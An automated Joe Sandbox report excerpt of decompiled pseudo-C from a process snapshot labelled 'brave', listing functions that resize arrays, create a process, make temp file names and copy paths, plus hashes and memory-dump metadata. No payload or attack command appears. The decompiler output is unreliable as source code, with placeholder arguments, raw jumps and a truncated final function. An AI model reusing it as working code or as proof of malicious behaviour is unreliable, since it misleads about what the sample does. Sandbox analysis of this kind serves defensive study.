				intOrPtr _t203;
				intOrPtr _t205;
				intOrPtr _t206;
				intOrPtr _t208;
				intOrPtr _t210;
				signed long long _t228;
				signed long long _t230;
				signed int* _t250;
				intOrPtr* _t251;
				long long _t252;
				long long _t259;
				signed int _t263;

				_t250 = __rcx;
				_t252 = __rdx;
				if (__rcx == 0) goto 0xfc4d45f0;
				_t251 =  *0xfc776920; // 0x7ff6fc781400
				_t184 =  *_t251;
				if (_t184 == 0) goto 0xfc4d42f8;
				if ( *((long long*)(_t184 + 0x38)) != 0) goto 0xfc4d4318;
				 *((long long*)(_t184 + 0x38)) = 0xfc772bd0;
				E00007FF67FF6FC4D84D0(0xfc772bd0);
				_t185 =  *_t251;
				if (_t185 == 0) goto 0xfc4d432d;
				if ( *((long long*)(_t185 + 0x48)) == 0) goto 0xfc4d4458;
				_t96 =  *((intOrPtr*)( *((intOrPtr*)(_t185 + 0x48))));
				goto 0xfc4d40e5;
				_t228 =  *((intOrPtr*)( *_t251 + 0x40));
				_t187 =  *_t251;
				if (_t96 -  *_t228 >= 0) goto 0xfc4d4100;
				if ( *((long long*)(_t187 + 0x10)) == 0) goto 0xfc4d4358;
				if ( *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t187 + 0x10)))) + _t228 * 8)) == 0) goto 0xfc4d4470;
				if (_t187 == 0) goto 0xfc4d4370;
				if ( *((long long*)(_t187 + 0x40)) != 0) goto 0xfc4d40b0;
				 *((long long*)(_t187 + 0x40)) = 0xfc7813c4;
				if (_t96 + 1 -  *0xfc7813c4 < 0) goto 0xfc4d40bb;
				goto 0xfc4d414d;
				asm("o16 nop [eax+eax]");
				_t230 =  *((intOrPtr*)(_t187 + 0x48));
				_t188 =  *_t251;
				if (0 -  *_t230 >= 0) goto 0xfc4d4168;
				if ( *((long long*)(_t188 + 0x10)) == 0) goto 0xfc4d43d8;
				_t263 = _t230 * 8;
				if ( *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t188 + 0x10)))) + _t230 * 8)) == 0) goto 0xfc4d44d0;
				if (_t188 == 0) goto 0xfc4d43f0;
				if ( *((long long*)(_t188 + 0x48)) != 0) goto 0xfc4d4118;
				 *((long long*)(_t188 + 0x48)) = 0xfc7813c0;
				if (1 -  *0xfc7813c0 < 0) goto 0xfc4d4123;
				if (_t188 == 0) goto 0xfc4d4765;
				if ( *((long long*)(_t188 + 0x40)) == 0) goto 0xfc4d45b0;
				_t189 =  *_t251;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t188 + 0x40)))) == 0x100000) goto 0xfc4d45cb;
				if (_t189 == 0) goto 0xfc4d47ee;
				_t134 =  *((long long*)(_t189 + 0x40));
				if (_t134 == 0) goto 0xfc4d4608;
				_t190 =  *_t251;
				if (_t134 != 0) goto 0xfc4d41cb;
				if ( *((long long*)(_t190 + 0x40)) != 0) goto 0xfc4d47e5;
				 *((long long*)(_t190 + 0x40)) = 0xfc7813c4;
				_t104 =  >  ? 0x100000 :  *0xfc7813c4 + 1;
				if (_t190 == 0) goto 0xfc4d4997;
				if ( *((long long*)(_t190 + 0x10)) == 0) goto 0xfc4d46d0;
				realloc(??, ??);
				_t259 =  *((intOrPtr*)(_t190 + 0x10));
				_t192 =  *_t251;
				if (_t259 == 0) goto 0xfc4d4b52;
				if (_t192 == 0) goto 0xfc4d49d5;
				if ( *((long long*)(_t192 + 0x40)) == 0) goto 0xfc4d46b8;
				_t193 =  *_t251;
				r8d = _t104;
				r8d = r8d -  *((intOrPtr*)( *((intOrPtr*)(_t192 + 0x40))));
				if ( *(_t193 + 0x40) == 0) goto 0xfc4d46a0;
				memset(??, ??, ??);
				_t195 =  *_t251;
				if (_t195 == 0) goto 0xfc4d4971;
				if ( *((long long*)(_t195 + 0x10)) == 0) goto 0xfc4d4680;
				_t196 =  *_t251;
				 *((long long*)( *((intOrPtr*)(_t195 + 0x10)))) = _t259;
				if (_t196 == 0) goto 0xfc4d4852;
				if ( *((long long*)(_t196 + 0x40)) == 0) goto 0xfc4d4670;
				_t197 =  *_t251;
				r12d =  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x40))));
				if ( *((long long*)(_t197 + 0x48)) == 0) goto 0xfc4d4660;
				r12d = r12d + 1;
				 *((intOrPtr*)( *((intOrPtr*)(_t197 + 0x48)))) = r12d;
				if ( *(_t197 + 0x40) == 0) goto 0xfc4d4650;
				_t110 =  *( *(_t197 + 0x40));
				 *__rcx = _t110;
				if ( *(_t197 + 0x40) == 0) goto 0xfc4d4640;
				 *( *(_t197 + 0x40)) = _t104;
				if (__rdx == 0) goto 0xfc4d473d;
				if ( *((long long*)(_t197 + 0x10)) == 0) goto 0xfc4d4708;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t197 + 0x10)))) + (_t259 +  *(_t193 + 0x40) * 8) * 8)) = __rdx;
				goto 0xfc4d44f6;
				E00007FF67FF6FC4D7060(); // executed
				if ( *((long long*)(_t197 + 0x38)) == 0) goto 0xfc4d406b;
				if ( *_t251 != 0) goto 0xfc4d4318;
				E00007FF67FF6FC4D7060();
				E00007FF67FF6FC4D84D0( *((intOrPtr*)( *_t251 + 0x38)));
				_t199 =  *_t251;
				if (_t199 != 0) goto 0xfc4d4087;
				E00007FF67FF6FC4D7060();
				_t200 =  *_t251;
				if ( *((long long*)(_t199 + 0x48)) == 0) goto 0xfc4d4458;
				if (_t200 != 0) goto 0xfc4d4092;
				E00007FF67FF6FC4D7060();
				goto 0xfc4d4092;
				 *((long long*)(_t200 + 0x10)) = _t259;
				goto 0xfc4d40ca;
				E00007FF67FF6FC4D7060();
				_t201 =  *_t251;
				if ( *((long long*)(_t200 + 0x40)) == 0) goto 0xfc4d40f5;
				if (_t201 != 0) goto 0xfc4d40b0;
				E00007FF67FF6FC4D7060();
				if ( *((intOrPtr*)( *((intOrPtr*)(_t201 + 0x40)))) - _t104 <= 0) goto 0xfc4d4b5d;
				_t203 =  *_t251;
				if (_t203 != 0) goto 0xfc4d40bb;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)(_t203 + 0x10)) == 0) goto 0xfc4d4358;
				if ( *_t251 != 0) goto 0xfc4d40c6;
				E00007FF67FF6FC4D7060();
				_t205 =  *_t251;
				goto 0xfc4d40ca;
				 *((long long*)(_t205 + 0x10)) = _t259;
				goto 0xfc4d4132;
				E00007FF67FF6FC4D7060();
				_t206 =  *_t251;
				if ( *((long long*)(_t205 + 0x48)) == 0) goto 0xfc4d415d;
				if (_t206 != 0) goto 0xfc4d4118;
				E00007FF67FF6FC4D7060();
				if ( *((intOrPtr*)( *((intOrPtr*)(_t206 + 0x48)))) - _t104 <= 0) goto 0xfc4d4b65;
				_t208 =  *_t251;
				if (_t208 != 0) goto 0xfc4d4123;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)(_t208 + 0x10)) == 0) goto 0xfc4d43d8;
				if ( *_t251 != 0) goto 0xfc4d412e;
				E00007FF67FF6FC4D7060();
				_t210 =  *_t251;
				goto 0xfc4d4132;
				 *((long long*)(_t210 + 0x48)) = 0xfc7813c0;
				goto 0xfc4d4099;
				 *_t250 = _t104;
				if (_t252 == 0) goto 0xfc4d4570;
				if (_t210 == 0) goto 0xfc4d4728;
				_t111 = _t110 & 0xffffff00 |  *((long long*)(_t210 + 0x10)) != 0x00000000;
				if (_t111 == 0) goto 0xfc4d455c;
				if (_t210 == 0) goto 0xfc4d47cb;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x10)))) + _t263)) = _t252;
				if (_t210 == 0) goto 0xfc4d46f3;
				if ((_t111 & 0xffffff00 |  *((long long*)(_t210 + 0x38)) != 0x00000000) == 0) goto 0xfc4d454f;
				if (_t210 != 0) goto 0xfc4d4502;
				E00007FF67FF6FC4D7060();
				goto 0xfc4d4502;
				 *_t250 = _t104;
				if (_t252 == 0) goto 0xfc4d451c;
				if (_t210 == 0) goto 0xfc4d4a4e;
				if ( *((long long*)(_t210 + 0x10)) == 0) goto 0xfc4d46e3;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x10)))) + _t263)) = _t252;
				if (_t210 == 0) goto 0xfc4d4539;
				if ( *((long long*)(_t210 + 0x38)) == 0) goto 0xfc4d454f;
				E00007FF67FF6FC4D8410( *((intOrPtr*)(_t210 + 0x38)));
				return 0;
			}

0x7ff6fc4d403e
0x7ff6fc4d4041
0x7ff6fc4d4047
0x7ff6fc4d404d
0x7ff6fc4d4054
0x7ff6fc4d405a
0x7ff6fc4d4065
0x7ff6fc4d4072
0x7ff6fc4d4076
0x7ff6fc4d407b
0x7ff6fc4d4081
0x7ff6fc4d408c
0x7ff6fc4d4099
0x7ff6fc4d40a9
0x7ff6fc4d40b0
0x7ff6fc4d40b4
0x7ff6fc4d40b9
0x7ff6fc4d40c0
0x7ff6fc4d40dc
0x7ff6fc4d40e8
0x7ff6fc4d40f3
0x7ff6fc4d40f8
0x7ff6fc4d40fe
0x7ff6fc4d4110
0x7ff6fc4d4112
0x7ff6fc4d4118
0x7ff6fc4d411c
0x7ff6fc4d4121
0x7ff6fc4d4128
0x7ff6fc4d4137
0x7ff6fc4d4144
0x7ff6fc4d4150
0x7ff6fc4d415b
0x7ff6fc4d4160
0x7ff6fc4d4166
0x7ff6fc4d416b
0x7ff6fc4d4176
0x7ff6fc4d4180
0x7ff6fc4d4189
0x7ff6fc4d4192
0x7ff6fc4d4198
0x7ff6fc4d419d
0x7ff6fc4d41a7
0x7ff6fc4d41ae
0x7ff6fc4d41b5
0x7ff6fc4d41c2
0x7ff6fc4d41d6
0x7ff6fc4d41e3
0x7ff6fc4d41ee
0x7ff6fc4d41fb
0x7ff6fc4d4200
0x7ff6fc4d4203
0x7ff6fc4d4209
0x7ff6fc4d4212
0x7ff6fc4d421d
0x7ff6fc4d4227
0x7ff6fc4d422e
0x7ff6fc4d4231
0x7ff6fc4d423b
0x7ff6fc4d424d
0x7ff6fc4d4252
0x7ff6fc4d4258
0x7ff6fc4d4263
0x7ff6fc4d426d
0x7ff6fc4d4270
0x7ff6fc4d4276
0x7ff6fc4d4281
0x7ff6fc4d428b
0x7ff6fc4d428e
0x7ff6fc4d4296
0x7ff6fc4d42a0
0x7ff6fc4d42a4
0x7ff6fc4d42ac
0x7ff6fc4d42b6
0x7ff6fc4d42b8
0x7ff6fc4d42bf
0x7ff6fc4d42c9
0x7ff6fc4d42ce
0x7ff6fc4d42d9
0x7ff6fc4d42e8
0x7ff6fc4d42ec
0x7ff6fc4d42f8
0x7ff6fc4d4305
0x7ff6fc4d430e
0x7ff6fc4d4310
0x7ff6fc4d431c
0x7ff6fc4d4321
0x7ff6fc4d4327
0x7ff6fc4d432d
0x7ff6fc4d4337
0x7ff6fc4d433a
0x7ff6fc4d4343
0x7ff6fc4d4349
0x7ff6fc4d434e
0x7ff6fc4d4358
0x7ff6fc4d4363
0x7ff6fc4d4370
0x7ff6fc4d437a
0x7ff6fc4d437d
0x7ff6fc4d4386
0x7ff6fc4d438c
0x7ff6fc4d4397
0x7ff6fc4d439d
0x7ff6fc4d43a3
0x7ff6fc4d43a9
0x7ff6fc4d43b9
0x7ff6fc4d43be
0x7ff6fc4d43c4
0x7ff6fc4d43cd
0x7ff6fc4d43d0
0x7ff6fc4d43d8
0x7ff6fc4d43e3
0x7ff6fc4d43f0
0x7ff6fc4d43fa
0x7ff6fc4d43fd
0x7ff6fc4d4406
0x7ff6fc4d440c
0x7ff6fc4d4417
0x7ff6fc4d441d
0x7ff6fc4d4423
0x7ff6fc4d4429
0x7ff6fc4d4439
0x7ff6fc4d443e
0x7ff6fc4d4444
0x7ff6fc4d444d
0x7ff6fc4d4450
0x7ff6fc4d445f
0x7ff6fc4d4463
0x7ff6fc4d4470
0x7ff6fc4d4475
0x7ff6fc4d447e
0x7ff6fc4d4489
0x7ff6fc4d448e
0x7ff6fc4d4497
0x7ff6fc4d44a4
0x7ff6fc4d44ab
0x7ff6fc4d44bb
0x7ff6fc4d44c4
0x7ff6fc4d44c6
0x7ff6fc4d44cb
0x7ff6fc4d44d0
0x7ff6fc4d44d5
0x7ff6fc4d44da
0x7ff6fc4d44e5
0x7ff6fc4d44f2
0x7ff6fc4d44f9
0x7ff6fc4d4500
0x7ff6fc4d4506
0x7ff6fc4d451b

APIs

realloc.MSVCRT ref: 00007FF6FC4D41FB

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: realloc
String ID:
API String ID: 471065373-0
Opcode ID: e336d157d8cadeff1a172b5fc071843bb7c4cd571cbffa88969bb0cc07652b88
Instruction ID: 10d0e113b22345b2869bd9dc36867b63bb74a23031fc52d06080c119929d08e8
Opcode Fuzzy Hash: e336d157d8cadeff1a172b5fc071843bb7c4cd571cbffa88969bb0cc07652b88
Instruction Fuzzy Hash: 1B621776A09B0682EB65AB09F09437D67A2EF44B88F45A435CA6D873D4FF3DE640C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D3F00 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FF67FF6FC4D3F00(void* __rax, intOrPtr* __rcx, void* __rdx) {
				intOrPtr _t8;
				void* _t14;

				_t14 = __rax;
				if (__rdx == 0) goto 0xfc4d4018;
				if ( *__rcx == 1) goto 0xfc4d3f68;
				E00007FF67FF6FC4D0F00(__rcx);
				_t1 = _t14 + 8; // 0x8
				E00007FF67FF6FC4D04E0(_t1);
				_t8 =  *__rcx;
				if (_t8 == 0) goto 0xfc4d3f80;
				if (_t8 != 1) goto 0xfc4d3ff0;
				E00007FF67FF6FC4D0800(_t1);
				E00007FF67FF6FC4D1110(_t14);
				return 0;
			}

0x7ff6fc4d3f00
0x7ff6fc4d3f16
0x7ff6fc4d3f1f
0x7ff6fc4d3f21
0x7ff6fc4d3f26
0x7ff6fc4d3f30
0x7ff6fc4d3f35
0x7ff6fc4d3f39
0x7ff6fc4d3f3e
0x7ff6fc4d3f47
0x7ff6fc4d3f4f
0x7ff6fc4d3f61

APIs

Part of subcall function 00007FF6FC4D0F00: calloc.MSVCRT(?,?,00007FFC2FC93CA0,00007FF6FC4D3F26,?,?,?,?,000001A14FC317F0,00007FFC2FC93CA0,?,00007FF6FC4D029B,000001A14FC317F0,00000000,00007FFC2FC93CA0,00007FF6FC4C32FA), ref: 00007FF6FC4D10A4

fprintf.MSVCRT ref: 00007FF6FC4D400B

Strings

once %p is %d, xrefs: 00007FF6FC4D4001

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: callocfprintf
String ID: once %p is %d
API String ID: 3366074580-95064319
Opcode ID: 6e9b06d7a7e3d48af93b056f8de7be245cf1a8abe53ffd6387711d9ba53eb8ef
Instruction ID: 32a4174aee942dc88c51bccc456e5b433dffdebe30a83c913a95f6760e29881a
Opcode Fuzzy Hash: 6e9b06d7a7e3d48af93b056f8de7be245cf1a8abe53ffd6387711d9ba53eb8ef
Instruction Fuzzy Hash: 7D31BF72A09B0681FB65EB15B4012B962A5BF88798F44403AEE6C873E5FE3CD681C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C27F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00007FF67FF6FC4C27F0(void* __edi, void* __esp, long long __rcx, void* __rdx, long long __r8) {
				void* _v136;
				long long _v144;
				char _v148;
				char _v156;
				long long _v172;
				long long _v180;
				long long _v188;
				long long _v196;
				long long _v204;
				intOrPtr _v212;
				long long _v220;
				long long _v228;
				void* _t19;
				intOrPtr* _t30;

				_v144 = 0;
				memset(__edi, 0, 0xd << 0);
				_v196 = __r8;
				_v172 =  &_v156;
				_v188 =  &_v148;
				_t30 =  *0xfc776640; // 0x7ff6fc781078
				_v212 = r9d;
				r9d = 0;
				_v148 = 0x68;
				 *((long long*)(__rcx)) = 0;
				 *((long long*)(__rcx + 8)) = 0;
				 *((long long*)(__rcx + 0x10)) = 0;
				_v180 = __rcx;
				_v204 = 0;
				_v220 = 0;
				_v228 = 0;
				_t19 =  *_t30(); // executed
				return _t19;
			}

0x7ff6fc4c2809
0x7ff6fc4c2812
0x7ff6fc4c281a
0x7ff6fc4c2822
0x7ff6fc4c282e
0x7ff6fc4c2833
0x7ff6fc4c283a
0x7ff6fc4c283f
0x7ff6fc4c2842
0x7ff6fc4c284a
0x7ff6fc4c2852
0x7ff6fc4c285b
0x7ff6fc4c2864
0x7ff6fc4c2869
0x7ff6fc4c2872
0x7ff6fc4c287a
0x7ff6fc4c2883
0x7ff6fc4c2892

APIs

CreateProcessInternalW.KERNELBASE ref: 00007FF6FC4C2883

Strings

h, xrefs: 00007FF6FC4C2842

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CreateInternalProcess
String ID: h
API String ID: 2186235152-2439710439
Opcode ID: 8bba045a17cefcb5b05322b069f8357d251dc813df342985f80b1a2e19d1b3c7
Instruction ID: e3fe655e03a5f26dc3e125492e570381838a70f5bb30980eddaf8c8f0ec0e45a
Opcode Fuzzy Hash: 8bba045a17cefcb5b05322b069f8357d251dc813df342985f80b1a2e19d1b3c7
Instruction Fuzzy Hash: 1101E832618B8082E7508F54F45874BB7A4F784784FA08129EBD847BA8DFBDC158CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C4880 Relevance: 3.1, APIs: 2, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00007FF67FF6FC4C4880(void* __edi, void* __esp, void* __rax, void* __rcx, void* __rdx, void* __r9) {
				void* _v596;
				void* _v608;
				char _v1112;
				void* _t13;
				void* _t27;
				void* _t40;

				_t27 = __rax;
				r12d = r8d;
				memset(__edi + 0x41, memset(__edi, 0, 0x41 << 0), 0x41 << 0);
				GetTempPathW(??, ??);
				r8d = 0;
				GetTempFileNameW(??, ??, ??, ??); // executed
				r8d = r12d;
				_t13 = E00007FF67FF6FC4C4530(__rax,  &_v1112, __rdx, _t40); // executed
				if (_t27 - 1 - 0xfffffffd <= 0) goto 0xfc4c4928;
				return _t13;
			}

0x7ff6fc4c4880
0x7ff6fc4c489b
0x7ff6fc4c48c4
0x7ff6fc4c48d7
0x7ff6fc4c48e0
0x7ff6fc4c48e8
0x7ff6fc4c48ee
0x7ff6fc4c48f7
0x7ff6fc4c4907
0x7ff6fc4c4921

APIs

GetTempPathW.KERNEL32 ref: 00007FF6FC4C48D7
GetTempFileNameW.KERNEL32 ref: 00007FF6FC4C48E8

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: Temp$FileNamePath
String ID:
API String ID: 3285503233-0
Opcode ID: a36c255382f679e79db51f353ae47516e0c81a59047a74ca63f1b497fb31ef1a
Instruction ID: 35a2bd235c5ad68c7a1d0fee73ae65abf296964ba253107809e7c8b941cbf6f5
Opcode Fuzzy Hash: a36c255382f679e79db51f353ae47516e0c81a59047a74ca63f1b497fb31ef1a
Instruction Fuzzy Hash: C031A37260868481E760C612F55477AA361BB857FCF501231EEBC47BE8EF7CD1498700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C4000 Relevance: 2.5, APIs: 2, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E00007FF67FF6FC4C4000(void* __eax, void* __edi, void* __esp, void* __rax, void* __rcx) {
				char _v584;
				int _t9;
				void* _t12;
				void* _t26;
				signed long long _t27;
				void* _t36;
				void* _t37;

				r12d = 0;
				_t35 =  &_v584;
				0xfc4e1630();
				_t37 = __rax;
				goto 0xfc4c403f;
				asm("o16 nop [cs:eax+eax]");
				if (__eax == 0x2f) goto 0xfc4c4049;
				_t27 = _t26 + 1;
				if (__rax - _t27 < 0) goto 0xfc4c407c;
				_t9 =  *(__rcx + _t27 * 2) & 0x0000ffff;
				if (_t9 != 0x5c) goto 0xfc4c4030;
				memset(__edi, _t9, 0x41 << 0);
				0xfc4e1638();
				 *((short*)( &_v584 + _t27 * 2)) = 0;
				_t12 = E00007FF67FF6FC4C3CD0(_t36, _t35); // executed
				if (_t37 - _t27 + 1 >= 0) goto 0xfc4c403f;
				return _t12;
			}

0x7ff6fc4c4011
0x7ff6fc4c4017
0x7ff6fc4c401c
0x7ff6fc4c4021
0x7ff6fc4c4024
0x7ff6fc4c4026
0x7ff6fc4c4034
0x7ff6fc4c4036
0x7ff6fc4c403d
0x7ff6fc4c403f
0x7ff6fc4c4047
0x7ff6fc4c4059
0x7ff6fc4c405f
0x7ff6fc4c4069
0x7ff6fc4c4072
0x7ff6fc4c407a
0x7ff6fc4c408b

APIs

wcslen.MSVCRT ref: 00007FF6FC4C401C
wcscpy.MSVCRT ref: 00007FF6FC4C405F

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: wcscpywcslen
String ID:
API String ID: 225642448-0
Opcode ID: 97bf6b18d38952cc1e7bab5118d0ebb15cef15114d82f46dfd9f4697655be916
Instruction ID: c1127733b9ed32cb0a87048aa4a4c21b81569d11f01279c6368e49cff205c373
Opcode Fuzzy Hash: 97bf6b18d38952cc1e7bab5118d0ebb15cef15114d82f46dfd9f4697655be916
Instruction Fuzzy Hash: 97F02803B8909555EB60DE26B8007F65260BB447DCF885532EE5D452E2FC6CA78AC300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C6121 Relevance: 1.3, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00007FF67FF6FC4C6121(void* __ebx, void* __edx, signed char __rax, void* __rbx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t150;
				signed int _t153;
				void* _t157;
				signed int _t158;
				signed int _t169;
				signed int _t180;
				signed int _t182;
				signed int _t184;
				signed int _t186;
				signed int _t188;
				signed int _t190;
				signed int _t193;
				signed int _t195;
				signed int _t197;
				signed int _t200;
				signed int _t203;
				void* _t214;
				void* _t240;
				signed char* _t245;
				long long* _t249;
				long long* _t252;
				intOrPtr* _t255;
				intOrPtr* _t258;
				intOrPtr* _t261;
				intOrPtr* _t264;
				char* _t265;
				signed char* _t266;
				intOrPtr* _t269;
				intOrPtr* _t272;
				signed char* _t275;
				intOrPtr* _t278;
				signed char* _t279;
				signed char* _t281;
				signed char* _t282;
				intOrPtr* _t321;
				intOrPtr* _t325;
				signed char* _t326;
				signed char* _t327;
				long long _t336;
				void* _t343;

				_t150 =  *(__rbx + 0x28);
				if (_t150 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26bc;
				_t321 = (_t150 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t321 + 4)) = 0;
				 *(__rbx + 0x28) = _t150 + 1;
				_a40 = _t321;
				 *_t321 = 0x2c;
				_t153 = ( *(__r8 + 2) & 0x000000ff) - 0x30;
				_t214 = _t153 - 9;
				 *((short*)(_t321 + 0x18)) = (_t153 & 0xffffff00 | _t214 < 0x00000000) & 0x000000ff;
				if (_t214 > 0) goto 0xfc4c6174;
				E00007FF67FF6FC4C4E90(__rax, __rbx, __rdx, __r8, _t343);
				E00007FF67FF6FC4C5BC0();
				_a40[0x10] = __rax;
				if (_a40[0x10] == 0) goto 0xfc4c5c20;
